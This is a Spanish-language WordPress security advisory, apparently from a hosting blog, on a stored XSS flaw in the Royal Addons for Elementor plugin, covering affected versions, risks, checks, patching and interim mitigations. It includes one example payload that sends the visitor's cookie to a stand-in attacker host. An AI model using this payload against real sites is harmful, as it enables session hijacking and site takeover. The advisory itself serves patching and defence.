CVE-2026-5159 es una vulnerabilidad de tipo Stored XSS en el plugin Royal Addons for Elementor para WordPress, publicada el 5 de mayo de 2026 por INCIBE-CERT. Afecta todas las versiones hasta la 1.7.1056 inclusive, y permite que un usuario con rol Contributor inyecte código JavaScript malicioso a través del campo instagram_follow_text del widget Instagram Feed.

En 30 segundos

  • Plugin afectado: Royal Addons for Elementor, versiones 1.7.1056 y anteriores.
  • Tipo de ataque: Stored XSS via campo instagram_follow_text del widget Instagram Feed.
  • Quién puede atacar: cualquier usuario autenticado con rol Contributor o superior.
  • Requisito previo: el admin debe haber configurado el Instagram Feed widget con un token válido de Instagram.
  • Solución: actualizar a la versión 1.7.1057 o superior desde el panel de WordPress.

¿Qué es CVE-2026-5159?

CVE-2026-5159 es el identificador oficial asignado a una vulnerabilidad de Cross-Site Scripting persistente (Stored XSS) descubierta en el plugin Royal Addons for Elementor, uno de los paquetes de widgets más usados para el constructor de páginas Elementor en WordPress. Según el registro oficial de INCIBE-CERT, la falla fue publicada el 5 de mayo de 2026 y recibió una puntuación base CVSS 3.1 de 7.1, lo que la ubica en categoría alta.

El problema está en el widget Instagram Feed: específicamente en el parámetro instagram_follow_text, que no sanitiza correctamente la entrada ni escapa el output antes de renderizarlo en la página. Un atacante con acceso Contributor puede meter ahí el código que quiera, y ese código queda guardado en la base de datos. Cada vez que alguien visita la página, el script se ejecuta en su browser. Si ese alguien es el admin, ya tenés un problema real.

¿Cómo funciona la vulnerabilidad?

Imaginá que tu blog tiene tres autores externos, freelancers o colaboradores que subís como Contributors para que puedan escribir borradores. Uno de ellos nota que el widget Instagram Feed tiene el campo «Texto del botón Seguir» y empieza a jugar con él. En vez de escribir «Seguinos en Instagram», escribe algo como <script>document.location='https://attacker.example/?c='+document.cookie</script>.

WordPress guarda ese valor en la base de datos. El Contributor guarda el post. El admin entra a revisar el borrador antes de publicar. El script se ejecuta en el browser del admin con todos sus permisos activos. En ese momento, el atacante tiene la cookie de sesión del admin.

La analogía más directa: es como si el repositorio de documentos de la empresa tuviera una carpeta que el asistente puede modificar, pero que el jefe abre regularmente para revisar. Ponés el veneno ahí y esperás.

Técnicamente, el vector CVSS 3.1 es AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, lo que significa: acceso por red, complejidad baja, privilegios bajos requeridos, sin interacción del usuario (una vez guardado el payload, se ejecuta solo), y con alcance que cruza el contexto del sitio (Changed Scope). El impacto en confidencialidad e integridad es moderado, y no afecta disponibilidad.

Versiones afectadas y parche disponible

La tabla es simple y no tiene mucho margen de interpretación:

Versión de Royal AddonsEstadoAcción recomendada
1.7.1056 y anterioresVULNERABLEActualizar de inmediato
1.7.1057 en adelanteSEGURA (parche incluido)Sin acción requerida
cve-2026-5159 royal addons diagrama explicativo

Para ver qué versión tenés instalada: entrás a Dashboard > Plugins, buscás «Royal Addons for Elementor» y fijate el número de versión que aparece debajo del nombre. Si dice 1.7.1056 o cualquier número menor, tu sitio está expuesto.

La actualización es gratuita y está disponible vía WordPress.org. No hace falta comprar nada ni contactar al equipo del plugin por separado. Solo actualizás desde el panel como cualquier otro plugin.

¿Quién puede explotar esta vulnerabilidad?

Acá viene un detalle que cambia el análisis de riesgo bastante. El ataque requiere dos condiciones simultáneas:

  • Un usuario autenticado con rol Contributor o superior (Author, Editor, Admin).
  • Que el admin haya configurado previamente el widget Instagram Feed con un token de acceso de Instagram válido.

Sin el token de Instagram configurado, el widget no procesa el campo vulnerable. Eso reduce el universo de sitios afectados a los que tienen el Instagram Feed activo con una cuenta vinculada. ¿Y cuántos son? Suficientes como para que sea un problema serio.

El punto más delicado es el rol Contributor. En muchos sitios WordPress, ese rol se le da a freelancers, colaboradores externos, pasantes, o simplemente gente de confianza relativa que escribe borradores. No son admins, no tienen acceso total al sistema, pero ahora con este CVE representan un vector de entrada. Si uno de esos Contributors tiene credenciales comprometidas (o simplemente tiene malas intenciones), el sitio entero está en juego.

Riesgos e impacto real en tu sitio

Un XSS persistente que se ejecuta en el contexto de un administrador es básicamente un compromiso completo del sitio. No exagero.

Lo que puede hacer el atacante una vez que el admin «activa» el payload (sin saberlo):

  • Session hijacking: robar la cookie de sesión del admin y acceder al panel como si fuera él, desde cualquier lugar.
  • Creación de usuarios backdoor: crear un nuevo admin silencioso vía AJAX, con email y contraseña controladas por el atacante.
  • Modificación de contenido: alterar posts, productos de WooCommerce, páginas de checkout. Podés imaginar el impacto en un e-commerce.
  • Instalación de malware: mediante una llamada AJAX a la API de WordPress, instalar un plugin malicioso o modificar archivos del tema.
  • Redirecciones a phishing: modificar el siteurl o agregar redirects para mandar visitantes a sitios falsos.

¿Alguien necesita exploits sofisticados para esto? No. Con acceso Contributor y el payload correcto en ese campo de texto, la cadena de ataque es directa y no requiere conocimientos avanzados.

¿Cómo verificar si tu sitio está vulnerable?

Checklist rápido, en orden:

  • Entrá a Dashboard > Plugins y buscá «Royal Addons for Elementor». Si no lo tenés instalado, no hay riesgo por este CVE.
  • Verificá la versión que aparece. Si es 1.7.1056 o anterior, continuá con los siguientes pasos.
  • Revisá si tenés alguna página o post con el widget Instagram Feed de Royal Addons activado. En Elementor, podés buscar en la librería de widgets o directamente en las páginas que usan ese plugin.
  • Revisá si el Instagram Feed tiene un access token de Instagram configurado. Si nunca vinculaste una cuenta, el riesgo es considerablemente menor (aunque igual actualizá).
  • Auditá los usuarios con rol Contributor o superior. ¿Hay cuentas que no reconocés? ¿Colaboradores que ya no trabajan con vos pero siguen teniendo acceso?

Ese último punto es el que más se ignora. La gestión de usuarios en WordPress suele ser un desastre: cuentas que se crearon «para una nota puntual» y quedaron activas años después.

Pasos para actualizar y parchear

Antes de tocar nada, hacé un backup. Sin excepciones. Si tenés WPVivid instalado (que aparece entre los plugins del sitio), ejecutá un backup manual desde WPVivid > Backup & Restore > Backup Now. Si usás otro sistema, igual. El backup tarda 2 minutos y puede salvarte horas de recuperación.

Después del backup, el proceso es estándar:

  • Ir a Dashboard > Plugins.
  • Buscar «Royal Addons for Elementor» y hacer clic en «Actualizar».
  • Esperar la confirmación (suele tardar entre 30 y 60 segundos según el servidor).
  • Verificar que la versión ahora muestre 1.7.1057 o superior.
  • Ingresar a las páginas que usen el widget Instagram Feed y revisarlas visualmente. Si el texto del botón «Seguir» dice algo raro o muestra caracteres extraños, hay que revisarlo.

Si la actualización falla (plugin en conflicto, modo de mantenimiento atascado, permisos de archivos), activá el modo depuración en wp-config.php (define('WP_DEBUG', true);) para ver el error exacto. Si el fallo persiste, podés actualizar manualmente: descargás la versión 1.7.1057+ desde WordPress.org, subís el ZIP via Plugins > Subir plugin, y reemplazás la versión anterior.

Mitigaciones temporales si no podés actualizar ahora

Puede pasar: staging que no se puede tocar hasta que pase el freeze, cliente que tiene que aprobar cambios, conflictos con otros plugins que hay que resolver primero. Si no podés actualizar de inmediato, estas mitigaciones reducen el riesgo (sin eliminarlo):

  • Deshabilitar el Instagram Feed widget en la configuración de Elementor. Desde Elementor > Mis widgets o desde el panel de elementos desactivados. Esto no desinstala el plugin, solo saca el widget del editor.
  • Revisar y reducir roles: si tenés Contributors que no están activos o que no deberían tener acceso, bajá su rol a Subscriber o desactivá la cuenta.
  • WAF activo: si tu sitio usa Wordfence (que figura como instalado en este sitio) o Cloudflare WAF, agregá una regla que bloquee entradas con <script> en campos POST de Elementor. No es infalible, pero agrega una capa.
  • Auditar la base de datos: revisar en la tabla wp_postmeta si hay valores en el campo instagram_follow_text que contengan <script u otro markup HTML sospechoso.

Dicho esto, estas son medidas de emergencia. La actualización al 1.7.1057 es la única solución real.

Errores comunes al gestionar este tipo de vulnerabilidad

Error 1: «Yo no uso Instagram Feed, no me afecta». Parcialmente cierto. Si tenés el plugin instalado pero nunca configuraste el widget con un token de Instagram, el riesgo es considerablemente menor. Pero el plugin sigue siendo vulnerable en código, y si en algún momento configuran ese widget, la exposición aparece. Actualizá de todas formas.

Error 2: Actualizar sin hacer backup previo. Una actualización de plugin puede romper el diseño si hay incompatibilidades con la versión de Elementor o el tema. Sin backup, no tenés vuelta atrás. Primero backup, después actualización, siempre.

Error 3: Asumir que el rol Contributor es inofensivo. Contributor es el rol «de baja confianza» de WordPress, pero eso no significa que no tenga vectores de ataque. Este CVE es un ejemplo concreto. Auditá quién tiene ese rol y por qué. Si alguien no necesita escribir en el sitio, sacale el acceso.

Para saber más de esta vulnerabilidad, podés leer nuestro artículo sobre CVE-2026-5159.

Esto se conecta directamente con nuestro artículo sobre CVE-2026-5159, donde entramos en más detalles.

Si querés profundizar, revisá CVE-2026-5159 donde cubrimos vulnerabilidades de formularios en detalle.

Esto se conecta con CVE-2026-5159, donde cubrimos el problema en profundidad.

Preguntas Frecuentes

¿Qué es CVE-2026-5159 y me afecta?

CVE-2026-5159 es una vulnerabilidad de Stored XSS en el plugin Royal Addons for Elementor para WordPress, publicada el 5 de mayo de 2026. Te afecta si tenés instalada la versión 1.7.1056 o anterior del plugin y tenés el widget Instagram Feed configurado con un token de Instagram válido. La solución es actualizar a la versión 1.7.1057 o superior.

¿Cómo sé si mi versión de Royal Addons está vulnerable?

Entrá a Dashboard > Plugins y buscá «Royal Addons for Elementor». El número de versión aparece debajo del nombre del plugin. Si muestra 1.7.1056 o cualquier número menor, la instalación está afectada por CVE-2026-5159 y hay que actualizar de inmediato.

¿Qué riesgos tiene un XSS stored en WordPress?

Un XSS stored que se ejecuta en el contexto del admin permite robar cookies de sesión (session hijacking), crear usuarios administradores ocultos, modificar contenido del sitio, e instalar plugins maliciosos vía llamadas AJAX. Es uno de los vectores más graves porque el atacante no necesita acceso directo al servidor.

¿Qué pasa si un Contributor inyecta código en Instagram Feed?

El código malicioso queda guardado en la base de datos. Cada vez que el admin o cualquier usuario con sesión activa visita la página afectada, el script se ejecuta en su browser. Si el admin es el que activa el payload, el atacante puede tomar control completo del WordPress sin tocar el servidor.

¿Cómo actualizar Royal Addons para parchear el CVE?

Desde Dashboard > Plugins > Royal Addons for Elementor, hacé clic en «Actualizar». Antes de hacerlo, realizá un backup completo del sitio. Después de la actualización, verificá que la versión mostrada sea 1.7.1057 o superior. Si el sitio está en un servidor con hosting propio o VPS, también podés hacer la actualización vía SFTP subiendo el ZIP desde WordPress.org.

Conclusión

CVE-2026-5159 en Royal Addons for Elementor es un recordatorio de que los plugins de Elementor con integraciones de redes sociales tienen superficies de ataque que no siempre se revisan con el mismo cuidado que los formularios de login o las APIs. Un campo de texto para el botón «Seguir en Instagram» no parece un vector de riesgo hasta que resulta ser exactamente eso.

El parche está disponible, la actualización es gratuita y tarda menos de un minuto. No hay excusa para no aplicarla hoy. Si administrás varios sitios WordPress con Royal Addons instalado (algo bastante común en agencias y freelancers), revisá cada uno: Dashboard > Plugins > número de versión. Si sos de los que hospedan sus sitios en infraestructura propia, donweb.com tiene opciones de hosting administrado con actualizaciones automáticas de plugins que hubieran cubierto este caso sin intervención manual.

La vulnerabilidad tiene requisitos previos que reducen la exposición universal, pero si tu sitio tiene el Instagram Feed activo con token configurado y usuarios con rol Contributor, el riesgo es concreto. Actualizá, auditá los usuarios, y revisá si hay contenido sospechoso en el campo afectado.

Fuentes

Categorizado en: